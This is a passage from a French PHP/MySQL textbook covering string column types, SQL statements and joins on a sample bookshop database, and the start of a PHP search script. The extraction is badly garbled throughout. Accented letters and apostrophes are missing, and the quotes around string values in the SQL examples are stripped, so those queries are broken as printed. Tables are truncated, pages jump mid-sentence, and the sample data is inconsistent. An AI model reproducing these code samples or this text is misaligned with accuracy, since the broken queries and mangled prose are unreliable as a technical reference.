Types de chanes
Il existe trois types de chanes. Tout dabord les chanes classiques, cest--dire des
chanes de texte courtes. Ces chanes correspondent aux types CHAR (longueur fixe) et
VARCHAR (longueur variable). Vous pouvez spcifier la largeur de ces chanes. Les
colonnes de type CHAR sont justifies avec des espaces pour atteindre la taille indique,
alors que la taille de stockage des colonnes VARCHAR varie automatiquement en fonction
de leur contenu. MySQL supprime les espaces placs la fin des CHAR lorsquils sont
lus et ceux des VARCHAR lorsquils sont stocks. Le choix entre ces deux types revient
faire un compromis entre lespace de stockage et la vitesse. Nous y reviendrons au
Chapitre 12.
Chapitre 9
255
Il existe galement les types TEXT et BLOB, dans diffrentes tailles. Ces types correspondent des donnes texte ou binaires plus longues. Les BLOB sont des "objets binaires de
grande taille" (Binary Large OBjects). Ils peuvent contenir ce que vous voulez, comme
des images ou du son.
Dans la pratique, les colonnes BLOB et TEXT sont identiques, sauf que les colonnes BLOB
tiennent compte de la diffrence majuscules/minuscules, contrairement aux colonnes TEXT.
Comme ces types de colonnes peuvent contenir des donnes trs volumineuses, leur
emploi ncessite certaines prcautions. Nous voquerons ce problme au Chapitre 12.
Le troisime groupe contient deux types spciaux, SET et ENUM. Le type SET permet de
prciser que les valeurs dune colonne doivent faire partie dun certain ensemble de
valeurs. Les valeurs de la colonne peuvent contenir plusieurs valeurs provenant de cet
ensemble. Vous pouvez avoir au maximum 64 lments provenant de lensemble spcifi.
ENUM ressemble beaucoup SET, sauf que les colonnes de ce type ne peuvent contenir
quune seule des valeurs indiques, ou NULL. Par ailleurs, une numration ne peut pas
contenir plus de 65 535 lments.
Les types de chanes sont rsums dans les Tableaux 9.9, 9.10 et 9.11. Le Tableau 9.9
prsente les types de chanes classiques.
Tableau 9.9 : Types de chanes classiques
Type
Intervalle Description
[NATIONAL] CHAR(M)
[BINARY | ASCII |
UNICODE]
0 255
CHAR [NATIONAL]
Synonyme de CHAR(1).
Le Tableau 9.10 rsume les types TEXT et BLOB. La longueur maximale dun champ
TEXT (en caractres) correspond la taille maximale en octets des fichiers qui doivent
tre enregistrs dans ce champ.
256
Partie II
Utilisation de MySQL
Type
Description
TINYBLOB
28 1 (cest--dire 255)
TINYTEXT
28
BLOB
TEXT
216
1 (cest--dire 65 535)
MEDIUMBLOB
MEDIUMTEXT
224
LONGBLOB
LONGTEXT
232
1 (cest--dire 255)
Type
SET(valeur1, valeur2,...)
64
Pour la suite
Maintenant que vous savez comment crer des utilisateurs, des bases de donnes et des
tables, vous pouvez vous intresser linteraction avec la base de donnes. Nous
verrons au prochain chapitre comment insrer des donnes dans des tables, comment
les mettre jour, les supprimer et comment interroger la base.
10
Travailler avec une base
de donnes MySQL
Dans ce chapitre, nous prsenterons SQL (Structured Query Language) et nous verrons
comment lutiliser pour interroger des bases de donnes. Nous continuerons le dveloppement de la base de donnes Book-O-Rama en apprenant insrer, supprimer et
mettre jour des donnes. Nous verrons galement comment interroger la base de
donnes.
Nous commencerons par prsenter SQL et verrons en quoi cet outil peut nous tre utile.
Si vous navez pas encore configur la base de donnes de Book-O-Rama, vous devez
le faire avant dexcuter les requtes SQL de ce chapitre. Vous trouverez tous les dtails
de cette procdure au Chapitre 9.
258
Partie II
Utilisation de MySQL
Pour, par exemple, insrer une ligne dans la table Clients de Book-O-Rama, vous
pouvez saisir la commande suivante :
insert into clients values
(NULL, Julie Dupont, 25 rue noire, Toulouse);
Vous remarquerez que nous avons remplac table par le nom de la table dans laquelle
nous souhaitions placer nos donnes et que nous avons plac les valeurs insrer dans
la liste qui suit la clause values. Toutes les valeurs de cet exemple ont t mises entre
apostrophes simples. Avec MySQL, les chanes de caractres doivent toujours tre
mises entre apostrophes simples ou doubles (dans ce livre, nous utiliserons ces deux
types dapostrophes). Les nombres et les dates nen ont pas besoin.
Linstruction INSERT mrite quelques commentaires.
Les valeurs indiques sont utilises pour remplir la table, dans lordre o elles sont
fournies. Cependant, si vous souhaitez remplir uniquement certaines colonnes ou si
Chapitre 10
259
vous voulez donner les valeurs dans un ordre diffrent, vous pouvez prciser le nom des
colonnes dans linstruction. Par exemple :
insert into clients (nom, ville) values
(Melissa Martin, Albi);
Cette approche nest intressante que si vous possdez des donnes partielles pour un
enregistrement particulier ou si certains champs de lenregistrement sont facultatifs.
Voici une autre syntaxe similaire :
insert into clients
set nom = Michel Archer,
adresse = "12 Avenue plate ,
ville = Montauban;
Vous remarquerez galement que nous avons donn la valeur NULL la colonne
idclient lorsque nous avons ajout Julie Dupont et que nous avons ignor cette
colonne lorsque nous avons ajout les autres clients. Vous vous rappelez peut-tre que,
lorsque nous avons configur la base de donnes, nous avons indiqu que idclient
tait la cl primaire de la table clients : cette procdure peut donc vous sembler
trange. Cependant, nous avions galement attribu lattribut AUTO INCREMENT ce
champ, ce qui signifie que si nous insrons une ligne avec la valeur NULL (ou aucune
valeur) dans ce champ, MySQL produira le nombre suivant dans la squence dautoincrmentation et linsrera automatiquement notre place. Cette fonctionnalit est
particulirement apprciable.
Il est galement possible dinsrer plusieurs lignes dun seul coup dans une table.
Chaque ligne doit tre mise entre parenthses et les ensembles de parenthses doivent
tre spars par des virgules.
Linstruction INSERT na que peu de variantes. Aprs le mot INSERT, vous pouvez ajouter les mots-cls LOW PRIORITY ou DELAYED. Le premier indique que le systme peut
attendre et effectuer linsertion plus tard, lorsquil ny aura plus de lecture dans la table.
Le second, que les donnes insres seront mises en tampon. Si le serveur est occup,
vous pouvez donc continuer excuter des requtes au lieu davoir attendre que
lopration INSERT soit termine.
Immdiatement aprs ces mots-cls, vous pouvez ventuellement ajouter IGNORE pour
quune tentative dinsertion de lignes produisant une cl duplique supprime ces lignes
sans prvenir. Lautre solution consiste utiliser ON DUPLICATE KEY UPDATE expression
la fin de linstruction INSERT. Cette clause permet de modifier la valeur duplique en
utilisant une instruction UPDATE classique (voir plus loin dans ce chapitre).
Nous avons runi quelques donnes pour remplir la base de donnes grce quelques
instructions INSERT qui se servent de lapproche multiligne que nous venons dvoquer.
260
Partie II
Utilisation de MySQL
commandes values
69.98, 2007-04-02),
49.99, 2007-04-15),
74.98, 2007-04-19),
24.99, 2007-05-01);
Chapitre 10
261
Nous reviendrons un peu plus loin sur toutes les clauses de cette instruction. Pour
linstant, examinons une requte sans aucune clause facultative, cest--dire une
requte simple qui slectionne des lments dans une table particulire. Typiquement,
ces lments sont des colonnes de la table, mais il peut galement sagir des rsultats de
nimporte quelle expression MySQL. Nous reviendrons sur les plus utiles un peu plus
loin dans cette section. Cette requte renvoie le contenu des colonnes nom et ville de la
table clients :
select nom, ville
from clients;
Cette requte renvoie le rsultat suivant, en supposant que vous ayez saisi les donnes
du Listing 10.1 et que vous ayez excut les deux autres instructions INSERT cites
titre dexemple :
+-----------------+--------------------+
| nom
| ville
|
+-----------------+--------------------+
| Julie Dupont
| Toulouse
|
| Alain Wong
| Bordeaux
|
| Michelle Arthur | Ramonville
|
| Melissa Martin | Albi
|
| Michal Archer
| Montauban
|
+-----------------+--------------------+
Comme vous pouvez le constater, nous obtenons une table qui contient les lments
slectionns (nom et ville), partir de la table que nous avons spcifie, clients. Ces
donnes sont issues de toutes les lignes de la table clients.
Vous pouvez indiquer autant de colonnes que vous le souhaitez, en les mentionnant
aprs le mot-cl select. Vous pouvez aussi spcifier dautres lments, comme le joker
(*), qui symbolise toutes les colonnes de la table concerne. Pour, par exemple, afficher
toutes les colonnes et toutes les lignes de la table livres commandes, nous pouvons
utiliser linstruction suivante :
select *
from livres_commandes;
262
Partie II
Utilisation de MySQL
slectionne toutes les colonnes de la table commandes, mais uniquement pour les lignes
dont le idclient vaut 3. Voici le rsultat obtenu :
+------------+----------+---------+------------+
| idcommande | idclient | montant | date
|
+------------+----------+---------+------------+
|
1 |
3 |
69.98 | 2007-04-02 |
|
4 |
3 |
24.99 | 2007-05-01 |
+------------+----------+---------+------------+
La clause WHERE prcise les critres utiliss pour slectionner les lignes. Dans notre
exemple, nous avons slectionn les lignes dont le idclient vaut 3. En SQL, cest le
signe gal qui permet de tester lgalit : cest donc diffrent de PHP et cest une source
derreur frquente lorsquon utilise conjointement ces deux langages.
Outre le test dgalit, MySQL dispose de plusieurs oprateurs de comparaison et
dexpressions rgulires, dont les plus courants sont prsents dans le Tableau 10.1.
Notez bien quil ne sagit pas dune liste complte ; en cas de besoin, reportez-vous au
manuel de MySQL.
Tableau 10.1 : Les oprateurs de comparaison utiles dans les clauses WHERE
Oprateur
Exemple
Description
galit
idclient = 3
>
Suprieur
<
Infrieur
Chapitre 10
263
Tableau 10.1 : Les oprateurs de comparaison utiles dans les clauses WHERE (suite)
Oprateur
Exemple
Description
>=
Suprieur ou gal
<=
Infrieur ou gal
!= ou <>
Diffrent de
quantit != 0
IS NOT NULL
IS NULL
adresse is null
BETWEEN
IN
NOT IN
ville not in
("Carlton","Moe")
LIKE
NOT LIKE
REGEXP
Expression rgulire
nom regexp
Les trois dernires lignes de ce tableau font rfrence LIKE et REGEXP, qui effectuent
des comparaisons de motifs.
LIKE utilise la concordance de motif de SQL. Les motifs peuvent contenir du texte classique, plus les caractres % et . Le caractre % sert de joker pour indiquer une correspondance sur un nombre quelconque (ventuellement nul) de caractres, et correspond
nimporte quel caractre unique.
Le mot-cl REGEXP est utilis pour les recherches de correspondances ralises avec
des expressions rgulires. MySQL utilise les expressions rgulires POSIX. Vous
pouvez aussi vous servir de RLIKE la place de REGEXP, car ce sont deux synonymes.
Les expressions rgulires POSIX sont celles que nous avons prsentes au Chapitre 4).
264
Partie II
Utilisation de MySQL
Vous pouvez tester plusieurs critres en les associant avec AND et OR. Par exemple :
select *
from clients
where idclient = 3 or idclient = 4;
Chapitre 10
265
Ce faisant, nous avons prcis un type de jointure sans le savoir. En effet, la virgule qui
spare les noms des tables est quivalente INNER JOIN ou CROSS JOIN. Il sagit dun
type de jointure parfois appel jointure complte ou produit cartsien de deux tables.
Ce type de jointure signifie littralement : " partir des tables indiques, crer une seule
grande table qui doit contenir une ligne pour chaque combinaison possible des
lignes de ces tables, que cela ait un sens ou non." En dautres termes, nous obtenons
une table contenant toutes les lignes de la table clients associes toutes les lignes de
la table commandes, quelles que soient les commandes effectues par les clients.
Cette opration brutale na pas beaucoup de sens dans la plupart des cas. En effet, on
souhaite le plus souvent ne retenir que les lignes qui ont un sens, cest--dire ici les
commandes passes par un client qui correspondent ce client.
Pour obtenir ce rsultat, il suffit dajouter une condition de jointure dans la clause
WHERE. Ce type dinstruction conditionnelle spciale exprime la relation qui doit exister
entre les deux tables. Ici, notre condition de jointure est la suivante :
clients.idclient = commandes.idclient
Elle demande MySQL de ne placer dans la table finale que les lignes dont le idclient
de la table clients correspond au idclient de la table commandes.
En ajoutant cette condition de jointure notre requte, nous avons cr un autre type de
jointure, appel qui-jointure.
Vous avez galement remarqu la notation avec le point, qui permet de prciser sans
ambigut la table dont proviennent les colonnes : clients.idclient fait rfrence la
colonne idclient de la table clients et commandes.idclient fait rfrence la colonne
idclient de la table commandes.
Cette notation est ncessaire lorsque le nom dune colonne est ambigu, cest--dire sil
apparat dans plusieurs tables.
En outre, cette notation pointe peut galement tre utilise pour lever les ambiguts
sur des noms de colonnes de bases de donnes diffrentes. Dans cet exemple, nous nous
sommes servis de la notation table.colonne, mais il est galement possible dy ajouter
le nom dune base de donnes (base de donnes.table.colonne), par exemple pour
tester une condition comme celle-ci :
livres.commandes.idclient = autre_bd.commandes.idclient
Enfin, vous pouvez vous servir de cette notation pour toutes les rfrences de colonnes dans
une requte. Cest gnralement conseill, surtout lorsque vos requtes deviennent un peu
plus complexes car, mme si ce nest pas impos par MySQL, cela facilite beaucoup la lisibilit et la maintenance des requtes. Vous remarquerez dailleurs que nous avons respect
cette convention dans le reste de la requte prcdente, par exemple dans la condition :
clients.nom = Julie Dupont
266
Partie II
Utilisation de MySQL
La colonne nom nexistant que dans la table clients, nous navions pas rellement
besoin de prciser la table dont elle provient. Pour les utilisateurs qui relisent le code,
en revanche, la rfrence nom seule reste vague et elle devient plus claire sous la forme
clients.nom.
Jointures de plus de deux tables
Cette opration nest pas plus complexe que la jointure de deux tables. Dune manire
gnrale, les tables doivent tre jointes deux deux avec des conditions de jointure.
Vous pouvez considrer que cela revient respecter les relations qui existent entre les
donnes des tables.
Par exemple, si nous souhaitons connatre les clients qui ont command des livres sur
Java (ventuellement pour pouvoir leur envoyer des informations sur un nouveau livre
sur ce langage), nous devons suivre ces relations dans plusieurs tables.
Nous devons commencer par reprer les clients qui ont pass au moins une commande
contenant un Livres Commandes correspondant un livre sur Java. Pour passer de la table
clients la table commandes, nous pouvons nous servir de la colonne idclient, comme
nous lavons dj fait. Pour passer de la table commandes la table Livres Commandes,
nous pouvons utiliser idcommande. Pour obtenir dans la table Livres Commandes un livre
spcifique de la table livres, nous pouvons nous servir du numro ISBN. Aprs avoir
tabli toutes ces relations, nous pouvons chercher les livres dont le titre contient "Java" et
renvoyer les noms des clients qui ont achet lun de ces livres.
Voyons maintenant le code de cette requte :
select clients.nom
from clients, commandes, livres_commandes, livres
where clients.idclient = commandes.idclient
and commandes.idcommande = livres_commandes.idcommande
and livres_commandes.isbn = livres.isbn
and livres.titre like %Java%;
Vous remarquerez que nous avons suivi les donnes dans quatre tables diffrentes. Pour
faire cela avec une qui-jointure, nous avons besoin de trois conditions de jointure
diffrentes. Comme il faut gnralement une condition de jointure pour chaque paire de
tables que vous souhaitez runir, il y a au total une jointure de moins que le nombre
de tables joindre. Cette rgle est assez utile pour dboguer les requtes qui ne fonctionnent pas. Vrifiez vos conditions de jointure et assurez-vous que vous respectez
Chapitre 10
267
bien les enchanements ncessaires pour obtenir ce que vous vouliez partir des informations que vous avez donnes.
Trouver les lignes qui ne correspondent pas
Lautre type de jointure principal dont vous aurez besoin est la jointure gauche.
Dans les exemples prcdents, seules les lignes vrifiant les conditions dans toutes les
tables taient retenues. Il arrive cependant que lon ait besoin des lignes qui ne correspondent pas ces conditions, par exemple pour rechercher les clients qui nont pass
aucune commande ou les livres qui nont jamais t achets.
La mthode la plus simple pour rpondre ce type de question avec MySQL consiste
utiliser une jointure gauche. Ce type de jointure renvoie en effet les lignes qui satisfont la condition de jointure entre deux tables. Sil ny a aucune ligne correspondante
dans la table de droite, une ligne est ajoute dans la table des rsultats, contenant des
valeurs NULL dans les colonnes de droite.
Prenons un exemple :
select clients.idclient, clients.nom, commandes.idcommande
from clients left join commandes
on clients.idclient = commandes.idclient;
Cette requte SQL se sert dune jointure gauche pour regrouper les tables clients et
commandes. Vous remarquerez que la jointure gauche utilise une syntaxe lgrement
diffrente pour sa condition de jointure : elle se trouve ici dans une clause ON spciale
de linstruction SQL.
Voici le rsultat de cette requte :
+-----------+-----------------+------------+
| idclient | nom
| idcommande |
+-----------+-----------------+------------+
|
3 | Julie Smith
|
1 |
|
3 | Julie Smith
|
4 |
|
4 | Alain Wong
|
NULL |
|
5 | Michelle Arthur |
1 |
+-----------+-----------------+------------+
Ce rsultat ne montre que les clients qui ont des idclient non NULL.
Si vous ne voulez connatre que les clients qui nont pass aucune commande, il suffit de
rechercher ces valeurs NULL dans la cl primaire de la table correspondante (idcommande,
ici), puisque ce champ ne devrait tre NULL dans aucune des lignes :
select clients.idclient, clients.nom
from clients left join commandes
using (idclient)
where commandes.idcommande is null;
268
Partie II
Utilisation de MySQL
Vous remarquerez que nous nous sommes galement servis dune syntaxe diffrente
pour la condition de jointure de cet exemple. Les jointures gauche acceptent en effet
soit la syntaxe ON que nous avons utilise dans le premier exemple, soit la syntaxe USING
du second exemple. La syntaxe USING ne prcisant pas la table do provient lattribut
de jointure, les colonnes des deux tables doivent porter le mme nom lorsque vous
voulez utiliser cette clause.
Vous pouvez galement rpondre ce type de question en utilisant des sous-requtes,
que nous prsenterons plus loin dans ce chapitre.
Utiliser dautres noms pour les tables : les alias
Il est souvent pratique, et parfois indispensable, de pouvoir faire rfrence aux tables
avec dautres noms, que lon appelle des alias. Vous pouvez les crer au dbut dune
requte et les utiliser dans tout le reste de cette requte. Ils servent souvent de raccourcis pour les noms des tables, comme dans cet exemple qui nest quune rcriture dune
requte que nous avons dj prsente :
select cli.nom
from clients as cli, commandes as cde, livres_commandes as lc,
livres as l
where cli.idclient = cde.idclient
and cde.idcommande = lc.idcommande
and lc.isbn = l.isbn
and l.titre like %Java%;
Lorsque nous dclarons les tables que nous allons utiliser, nous ajoutons une clause
AS pour dclarer lalias dune table. Il est galement possible de dfinir des alias
pour des colonnes, mais nous y reviendrons lorsque nous verrons les fonctions
dagrgation.
Il faut passer par les alias pour raliser une jointure dune table avec elle-mme. Cela a
lair plus difficile et plus trange que cela ne lest en ralit. Cette approche peut tre
utile, si, par exemple, nous voulons trouver dans une table les lignes qui possdent des
valeurs en commun. Ainsi, pour trouver les clients qui habitent dans la mme ville
(ventuellement pour diffuser des publicits), nous pouvons affecter deux alias la
mme table (clients) :
select c1.nom, c2.com, c1.ville
from clients as c1, clients as c2
Chapitre 10
269
Dans cette requte, nous faisons comme si la table clients reprsentait en fait deux
tables diffrentes, c1 et c2, et nous effectuons une jointure sur la colonne ville. Vous
remarquerez que nous avons galement besoin de la deuxime condition, c1.nom!=
c2.nom, pour viter que chaque client ne vrifie la condition (puisque chaque client
habite videmment dans la mme ville que lui).
Rcapitulatif sur les jointures
Les diffrents types de jointures sont prsents dans le Tableau 10.2. Il en existe
dautres, mais ce tableau rassemble celles que vous utiliserez le plus souvent.
Tableau 10.2 : Les types de jointures dans MySQL
Nom
Description
Produit cartsien
Jointure complte
Comme ci-dessus.
Jointure croise
Jointure interne
qui-jointure
Utilise un test dgalit pour associer les lignes des diffrentes tables de
la jointure. En SQL, cest une jointure avec une clause WHERE.
Jointure gauche
Tente dassocier des lignes provenant des tables indiques et remplit les
lignes ne correspondant pas avec la valeur NULL. Utilise dans SQL
avec les clauses LEFT JOIN. Elle permet de trouver des valeurs
manquantes. Vous pouvez utiliser de la mme manire RIGHT JOIN pour
faire une jointure droite.
270
Partie II
Utilisation de MySQL
La clause ORDER BY trie les lignes dune ou de plusieurs colonnes de la clause SELECT.
Par exemple :
select nom, adresse
from clients
order by nom;
Cette requte renvoie les noms et les adresses des clients, en les triant par ordre alphabtique des noms :
+-----------------+--------------------+
| nom
| adresse
|
+-----------------+--------------------+
| Alain Wong
| 147 Avenue Haines |
| Julie Dupont
| 25 rue noire
|
| Melissa Jones
|
|
| Michel Archer
| 12 Avenue plate
|
| Michelle Arthur | 357 rue de Paris
|
+-----------------+--------------------+
Vous remarquerez que, dans ce cas, les noms tant au format prnom nom de famille, ils
sont tris en fait daprs le prnom. Si vous souhaitez les trier daprs le nom de famille, il
faut sparer les prnoms et les noms de famille, et les mettre dans deux champs diffrents.
Par dfaut, lordre de tri est croissant. Vous pouvez le prciser explicitement laide du
mot-cl ASC :
select nom, adresse
from clients
order by nom asc;
Mais il est galement possible de trier par ordre dcroissant, en spcifiant le mot-cl DESC :
select nom, adresse
from clients
order by nom desc;
Vous pouvez aussi trier sur plusieurs colonnes, ou vous servir des alias des colonnes, ou
mme de leur position dans la table (par exemple, 3 correspond la troisime colonne
de la table) au lieu de leur nom.
Groupement et agrgation des donnes
Il faut souvent dterminer le nombre de lignes qui appartiennent un ensemble particulier ou la valeur moyenne dune colonne (par exemple le montant moyen des commandes). MySQL possde plusieurs fonctions dagrgation qui se rvlent trs utiles pour
rpondre ce type de requte.
Ces fonctions dagrgation peuvent tre appliques une table prise comme un ensemble
ou un groupe de donnes dans une table.
Chapitre 10
271
Les fonctions dagrgation les plus utilises sont prsentes dans le Tableau 10.3.
Tableau 10.3 : Les fonctions dagrgation de MySQL
Nom
Description
AVG (colonne)
COUNT (lment)
MIN (colonne)
MAX(colonne)
STD (colonne)
STDDEV (colonne)
Identique STD(colonne).
SUM (colonne)
Voyons maintenant quelques exemples, en commenant par celui que nous avons
mentionn plus haut. Nous pouvons calculer la moyenne des commandes comme ceci :
select avg(montant)
from commandes;
Pour obtenir des informations plus dtailles, nous pouvons nous servir de la clause
GROUP BY. Celle-ci va nous permettre, par exemple, dafficher la moyenne des commandes de chaque client. Grce ce mcanisme, nous pouvons connatre le client qui a
dpens le plus dargent :
select idclient, avg(montant)
from commandes
group by idclient;
Lorsque vous utilisez la clause GROUP BY avec une fonction dagrgation, cette clause
modifie le comportement de la fonction. Au lieu de fournir la moyenne des montants
272
Partie II
Utilisation de MySQL
des commandes de toute la table, cette requte fournit la moyenne des montants des
commandes pour chaque client (ou, plus prcisment, pour chaque idclient) :
+----------+--------------+
| idclient | avg(montant) |
+----------+--------------+
|
1 |
49.990002 |
|
2 |
74.980003 |
|
3 |
47.485002 |
+----------+--------------+
En SQL ANSI, si vous utilisez une clause GROUP BY, les seuls lments qui peuvent
apparatre dans la clause SELECT sont les fonctions dagrgation et les colonnes indiques dans la clause GROUP BY. En outre, si vous voulez utiliser une colonne dans une
clause GROUP BY, celle-ci doit apparatre dans la clause SELECT.
MySQL accorde en fait un peu plus de libert. Il accepte une syntaxe tendue qui permet
de ne pas spcifier des lments dans la clause SELECT si vous ne souhaitez pas les y mettre.
Nous pouvons galement tester le rsultat dune agrgation laide dune clause HAVING.
Celle-ci doit tre indique immdiatement aprs la clause GROUP BY et elle fonctionne
comme une clause WHERE qui ne sappliquerait quaux groupes et aux agrgats.
Pour poursuivre notre exemple prcdent, nous pouvons nous servir de la requte
suivante pour connatre les clients dont la moyenne des commandes est suprieure
50 euros :
select idclient, avg(montant)
from commandes
group by idclient
having avg(montant) > 50;
La clause HAVING sapplique aux groupes. Cette requte renvoie donc le rsultat suivant :
+----------+--------------+
| idclient | avg(montant) |
+----------+--------------+
|
2 |
74.980003 |
+----------+--------------+
Chapitre 10
273
Cette requte peut tre interprte comme : "Slectionne les noms des clients et renvoie
3 lignes partir de la deuxime ligne du rsultat." Vous remarquerez que les lignes sont
numrotes partir de 0, cest--dire que la premire ligne du rsultat est la ligne 0.
Ceci est trs utile pour les applications web, car on peut ainsi nafficher, par exemple,
que 10 articles par page lorsque lon prsente un catalogue aux clients.
Notez cependant que LIMIT ne fait pas partie du standard ANSI SQL. Il sagit dune
extension MySQL : en lutilisant, vous rendez votre code SQL incompatible avec la
plupart des autres SGBDR.
Utiliser des sous-requtes
Une sous-requte est une requte imbrique dans une autre requte. Si la plupart des fonctionnalits des sous-requtes peuvent tre obtenues en utilisant attentivement des jointures
et des tables temporaires, les sous-requtes sont gnralement plus simples lire et
crire.
Sous-requtes lmentaires
Lusage le plus courant des sous-requtes consiste utiliser le rsultat dune requte
dans une comparaison dune autre requte. Vous pouvez, par exemple, utiliser la requte
suivante pour retrouver la plus grosse commande :
select idclient, montant
from commandes
where montant = (select max(montant) from commandes);
Dans ce cas, la sous-requte renvoie une seule valeur (le montant maximal) qui est utilise ensuite pour la comparaison dans la requte externe. Il sagit dun bon exemple
dusage de sous-requte, car cette requte particulire ne peut pas tre reproduite de
manire lgante en utilisant des jointures en ANSI SQL.
Vous obtiendrez toutefois le mme rsultat avec la jointure suivante :
select idclient, montant
from commandes
order by montant desc
limit 1;
Mais, parce quelle sappuie sur LIMIT, cette requte nest pas compatible avec la plupart
des SGBDR. Cependant, elle sexcutera plus efficacement sur MySQL que la version
avec une sous-requte.
274
Partie II
Utilisation de MySQL
Lune des principales raisons pour lesquelles MySQL a tant tard proposer des sousrequtes tient au nombre trs rduit doprations quelles vous permettent de raliser.
Techniquement, vous pouvez crer une seule requte ANSI SQL ayant le mme effet,
mais qui sappuie sur un hack inefficace appel MAX-CONCAT.
Vous pouvez utiliser des valeurs de sous-requte de cette manire avec tous les oprateurs de comparaison classiques et il existe galement certains oprateurs de comparaison spcifiques aux sous-requtes que nous dcrirons dans la section suivante.
Sous-requtes et oprateurs
Il existe cinq oprateurs spcifiques aux sous-requtes. Quatre dentre eux sont utiliss
avec les sous-requtes standard et un (EXISTS) nest gnralement utilis quavec des
sous-requtes corrles. Nous en traiterons dans la prochaine section. Les quatre oprateurs de sous-requte standard sont prsents dans le Tableau 10.4.
Tableau 10.4 : Oprateurs de sous-requte
Description
ANY
Renvoie true si la
comparaison est vraie
pour lune des lignes
de la sous-requte.
IN
quivalent de =ANY.
SOME SELECT c1 FROM t1 WHERE c1 > SOME (SELECT c1 FROM t2); Alias de ANY.
ALL
Renvoie true si la
comparaison est vraie
pour toutes les lignes
de la sous-requte.
Chapitre 10
275
Notez quici nous plaons la sous-requte dans la clause FROM. Juste aprs la parenthse
fermante de la sous-requte, vous devez donner le rsultat de la sous-requte sous
forme dalias que vous pourrez ensuite traiter comme nimporte quelle autre table dans
la requte externe.
276
Partie II
Utilisation de MySQL
Cette instruction met jour la table nom table en modifiant toutes les colonnes indiques avec les expressions fournies. Vous pouvez restreindre une instruction UPDATE
certaines lignes avec une clause WHERE et limiter le nombre total de lignes affectes avec
une clause LIMIT. ORDER BY nest gnralement utilis quen conjonction avec une
clause LIMIT ; par exemple, si vous devez ne mettre jour que les dix premires lignes,
vous devez pralablement les placer dans un ordre particulier. Si les clauses
LOW PRIORITY et IGNORE sont utilises, elles fonctionnent de la mme manire que dans
une instruction INSERT.
Passons maintenant quelques exemples.
Si nous souhaitons augmenter tous les prix de 10 %, nous pouvons utiliser une instruction
UPDATE sans clause WHERE :
update livres
set prix = prix * 1.1;
Si, en revanche, nous ne souhaitons modifier quune seule ligne (par exemple pour
changer ladresse dun client), nous pouvons nous servir de la requte suivante :
update clients
set adresse = 250 rue Olsens
where idclient = 4;
En SQL ANSI, il nest possible dapporter quune seule modification par instruction
ALTER TABLE mais, avec MySQLn vous pouvez en faire autant que vous le souhaitez.
Chaque clause de modification peut servir modifier diffrents aspects de la table.
Chapitre 10
277
Si la clause IGNORE est utilise et que vous essayiez deffectuer une modification qui
duplique des cls primaires, la premire ira dans la table modifie et les autres seront
supprimes. Si cette clause nest pas indique (par dfaut), la modification chouera et
sera annule. Les diffrents types de modifications que vous pouvez apporter avec cette
instruction sont prsents dans le Tableau 10.5.
Tableau 10.5 : Les modifications possibles avec linstruction ALTER TABLE
Syntaxe
Description
ADD [CONSTRAINT] [symbole]] FOREIGN Ajoute une cl trangre une table InnoDB.
KEY [index] (index col, )
[dfinition rfrence]
ALTER [COLUMN] colonne {SET DEFAULT Ajoute ou supprime une valeur par dfaut pour une
valeur | DROP DEFAULT}
colonne particulire.
CHANGE [COLUMN] colonne
description nlle colonne
MODIFY [COLUMN] description colonne Comme CHANGE. Permet de modifier le type dune
278
Partie II
Utilisation de MySQL
Tableau 10.5 : Les modifications possibles avec linstruction ALTER TABLE (suite)
Syntaxe
Description
DISABLE KEYS
ENABLE KEYS
CONVERT TO CHARACTER SET jdc COLLATE Convertit toutes les colonnes texte avec le jeu de
odc
caractres et lordre de classement indiqus.
[DEFAULT] CHARACTER SET cs COLLATE c Dfinit le jeu de caractres et lordre de classement
par dfaut.
DISCARD TABLESPACE
IMPORT TABLESPACE
options table
Il arrive aussi que lon ait besoin dajouter une colonne. Imaginons par exemple quune
taxe sur les livres soit ajoute et que Book-O-Rama ait besoin dajouter le montant de
Chapitre 10
279
cette taxe au total des commandes. Nous pouvons ajouter une colonne taxe dans la
table commandes, comme ceci :
alter table commandes
add taxe float(6,2) after montant;
toutes les lignes de la table seront supprimes ! En gnral, on prfre ne supprimer que
certaines lignes, indiques dans la clause WHERE. Par exemple, il faut supprimer une
ligne si un livre nest plus disponible ou si un client na pass aucune commande depuis
un certain temps :
delete from clients
where idclient = 5;
Elle supprime toutes les lignes de la table et la table elle-mme. Il convient donc de
faire attention lorsque vous lutilisez. ORDER BY est gnralement utilise en conjonction
avec LIMIT.
280
Partie II
Utilisation de MySQL
Elle supprime toutes les lignes, toutes les tables, tous les index et la base de donnes
elle-mme. Il va donc sans dire quelle doit tre utilise avec prcaution !
Pour la suite
Au Chapitre 11, nous verrons comment rendre la base de donnes Book-O-Rama
disponible sur le Web.
11
Accs une base de donnes
MySQL partir du Web avec PHP
Auparavant, lorsque nous travaillions avec PHP, nous nous servions dun fichier plat
pour enregistrer et rcuprer nos donnes. Lorsque nous avons mentionn cette approche (voir Chapitre 2), nous avons galement dit que les systmes de bases de donnes
relationnelles rendent ces deux tches (enregistrement et rcupration des donnes) la
fois plus simples, plus sres et plus efficaces dans le cadre dune application web.
Maintenant que nous sommes capables de nous servir de MySQL pour crer des bases
de donnes, nous pouvons commencer connecter cette base de donnes une interface web.
Dans ce chapitre, nous verrons comment accder la base de donnes de Book-ORama partir du Web, en utilisant PHP. Nous expliquerons comment lire et crire dans
cette base de donnes et comment filtrer les donnes dentre susceptibles de poser
problme.
282
Partie II
Utilisation de MySQL
Chapitre 11
283
Ce formulaire HTML est trs simple. Sa sortie est prsente la Figure 11.1.
Figure 11.1
Le formulaire de recherche
est trs gnral puisquil
permet de chercher un
livre partir de son titre,
de son auteur ou de son
code ISBN.
Le script appel lorsque lutilisateur clique sur le bouton Rechercher sappelle resultats.php ; son code est celui du Listing 11.2. Tout au long de ce chapitre, nous allons
expliquer le but et le fonctionnement de ce script.
Listing 11.2 : resultats.php Le script qui rcupre les rsultats de notre base de donnes
MySQL et qui les formate pour les afficher correctement
<html>
<head>
<title>Rsultats de la recherche dans Book-O-Rama</title>
</head>
<body>
<h1>Rsultats de la recherche dans Book-O-Rama</h1>
<?php
// Cration de variables aux noms abrgs
$type_recherche = $_POST[type_recherche];
$terme_recherche = trim($_POST[terme_recherche]);
if (!$type_recherche ||!$terme_recherche) {
echo "Vous navez pas saisi les dtails de la recherche";
exit;
}
if (!get_magic_quotes_gpc()) {
$type_recherche = addslashes($type_recherche);
$terme_recherche = addslashes($terme_recherche);
}
@$db = new mysqli(localhost, bookorama, bookorama123, livres);
if (mysqli_connect_errno()) {
echo "Impossible de se connecter la base de donnes.";
exit;
}
284
Partie II
Utilisation de MySQL
